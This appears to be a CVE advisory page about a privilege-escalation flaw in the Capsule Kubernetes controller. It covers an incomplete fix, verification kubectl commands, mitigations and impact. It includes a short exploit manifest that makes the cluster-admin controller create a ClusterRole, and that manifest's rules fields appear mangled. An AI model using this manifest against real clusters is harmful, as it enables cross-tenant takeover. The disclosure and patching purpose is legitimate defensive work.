Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability (CVE-2026-22872) -DC-Jul2026-1178

Listen to this Post

CVE-2026-22872 (GHSA-qjjm-7j9w-pw72) details a critical privilege escalation vulnerability in the Capsule multi-tenancy framework for Kubernetes. The Capsule Controller, which runs with `cluster-admin` privileges by default, processes `TenantResource` custom resources. The `TenantResource` allows a Tenant Owner to define resources that the controller will create on their behalf. The vulnerability arises because the controller’s logic for handling `rawItems` does not properly validate whether the requested resource is cluster-scoped or namespace-scoped. For namespace-scoped resources, the controller correctly sets the namespace, but for cluster-scoped resources like `ClusterRole` or ValidatingWebhookConfiguration, this `SetNamespace` call is ignored by the Kubernetes API server. Consequently, a Tenant Owner with only namespace-level permissions can exploit the controller’s elevated privileges to create cluster-scoped resources, leading to cross-tenant privilege escalation and potential cluster compromise.
The initial fix in version v0.13.0 attempted to mitigate this by adding a cluster-scope rejection guard. However, this guard was only implemented on the `NamespacedItems` selection path (ResourceReference.LoadResources -> IsNamespacedGVK). The `RawItems` create path—the exact vector identified in the original advisory—and the `Generators` path were not given this guard. As a result, the vulnerability persists in all releases from v0.13.0 through v0.13.7 and on the trunk HEAD (commit 8d89d6865d). This incomplete fix was subsequently assigned a new CVE, CVE-2026-65835.
The vulnerable code resides in internal/controllers/resources/collect.go‘s `handleRawItem` and `handleGeneratorItem` functions. These functions render the template, decode it into an `unstructured.Unstructured` object, and attempt to set the namespace. They then return the object without any check for cluster-scoped kinds. The accumulated objects are then applied by the controller using its `cluster-admin` client, with no scope check at any point. The fix is straightforward: apply the same `IsNamespacedGVK` / `allowClusterScoped` rejection logic inside `handleRawItem` and handleGeneratorItem, or centrally in `Collector.AddToAccumulation` or processor.Apply.

DailyCVE Form

Platform: Capsule
Version: 0.13.0-0.13.7
Vulnerability: Privilege Escalation
Severity: Critical
Date: 2026-06-01

Prediction: Patch 2026-07-15

What Undercode Say: Analytics

Verify Capsule Controller privileges
kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml
Confirm output contains:
roleRef:
kind: ClusterRole
name: cluster-admin
Verify Tenant Owner permissions (bob)
kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-ns
// incompletefix_poc_test.go - Proves the asymmetry
// TestRawItemPath_NoClusterScopeGuard: feeds ClusterRole rawItem to handleRawItem
// -> object returned unchanged, no rejection (PASS)
// TestNamespacedItemsPath_HasClusterScopeGuard: feeds same ClusterRole kind to
// LoadResources(allowClusterScoped=false) -> rejected with
// "cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed" (PASS)

Exploit

A Tenant Owner can create a `TenantResource` in their namespace with a `rawItem` containing a cluster-scoped resource. The controller, running with `cluster-admin` privileges, processes the `rawItem` and creates the resource cluster-wide, ignoring the namespace field.

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: pwn
namespace: tenant-ns
spec:
resources:
- namespaceSelector:
matchLabels:
capsule.clastix.io/tenant: tenant-name
rawItems:
- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: tenant-escalation
rules:
- apiGroups: [""]
resources: [""]
verbs: [""]

Protection

Upgrade to Capsule version v0.13.8 or later, which contains the complete fix. If immediate upgrade is not possible, apply the following mitigation:
1. Disable `TenantResource` creation: Remove the `rbac.resources.create=true` opt-in flag from the Capsule configuration.
2. Implement an Admission Webhook: Deploy a `ValidatingAdmissionWebhook` that rejects `TenantResource` objects containing cluster-scoped kinds.
3. Restrict Controller Privileges: Run the Capsule Controller with a least-privilege ServiceAccount, though this may break functionality.

Impact

A Tenant Owner with the ability to create `TenantResource` objects can escalate their privileges to cluster-admin-equivalent. This allows them to:
– Create `ClusterRole` and `ClusterRoleBinding` objects to grant themselves unlimited permissions across the entire cluster.
– Deploy `ValidatingWebhookConfiguration` or `MutatingWebhookConfiguration` to intercept, modify, or exfiltrate requests from other tenants.
– Compromise the Kubernetes control plane and all other tenants sharing the same cluster.
– Establish persistent backdoors and exfiltrate sensitive data, including Secrets from other namespaces.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top